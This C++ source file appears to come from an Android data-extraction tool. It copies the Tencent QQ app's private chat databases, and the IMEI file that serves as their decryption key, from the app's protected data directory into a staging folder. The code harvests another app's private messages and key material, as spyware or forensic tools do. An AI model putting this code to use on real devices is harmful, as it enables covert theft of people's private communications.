//
// Created by firear on 5/25/18.
//

#include "dealqq.h"
#include "publicfun/public.h"



#define  LOG_TAG "dealqq"
#include "publicfun/debug.h"

#define QQDBPATH    "/data/data/com.tencent.mobileqq/databases/"
#define QQIMEIPATH  "/data/data/com.tencent.mobileqq/files/imei"


//得到真正的解密key
void dealqq::GetRealKey()
{
    //确定真正的加密key
    size_t len;
    string buf;
    if(!ReadFromFile(QQIMEIPATH, buf)){
        m_decodekey = GetMidData(buf.c_str(), "imei=", "\n");
    }
}

//判断是否是QQ号码(数字)
bool dealqq::IsQQId(string &qqid)
{
    bool flg=true;
    int len=qqid.size();
    for(int m=0;m<len;m++){
        if(qqid[m]<48||qqid[m]>58){
            flg=false;
            break;
        }
    }

    return flg;
}

void dealqq::deal(const string &destdir) {
    //
    vector<string> qqdbpath;
    mDestDir = destdir;
    string destpath;

    destpath = mDestDir + "imei.txt";

    int ret = copyfile(QQIMEIPATH, destpath.c_str());
    LOGD("%s->%s ret=%d", QQIMEIPATH, destpath.c_str(), ret);
    vector<FileInfo>  vect;
    EnumFile(QQDBPATH,vect, 1, ENUMFILETYPE_FILE, "*.db");

    for(int m=0;m<vect.size();m++){
        string qqid=vect[m].basename;
        ReplaceStr( qqid, ".db", "");

        if(IsQQId(qqid)){
            string file=vect[m].dirname;
            file+=vect[m].basename;
            qqdbpath.push_back(file);


            destpath = mDestDir+vect[m].basename;
            ret = copyfile(file.c_str(), destpath.c_str());
            LOGD("%s->%s %d", file.c_str(), destpath.c_str(), ret);
            //printf("find qq qqid=%s\n",qqid.c_str());
        }
    }

}
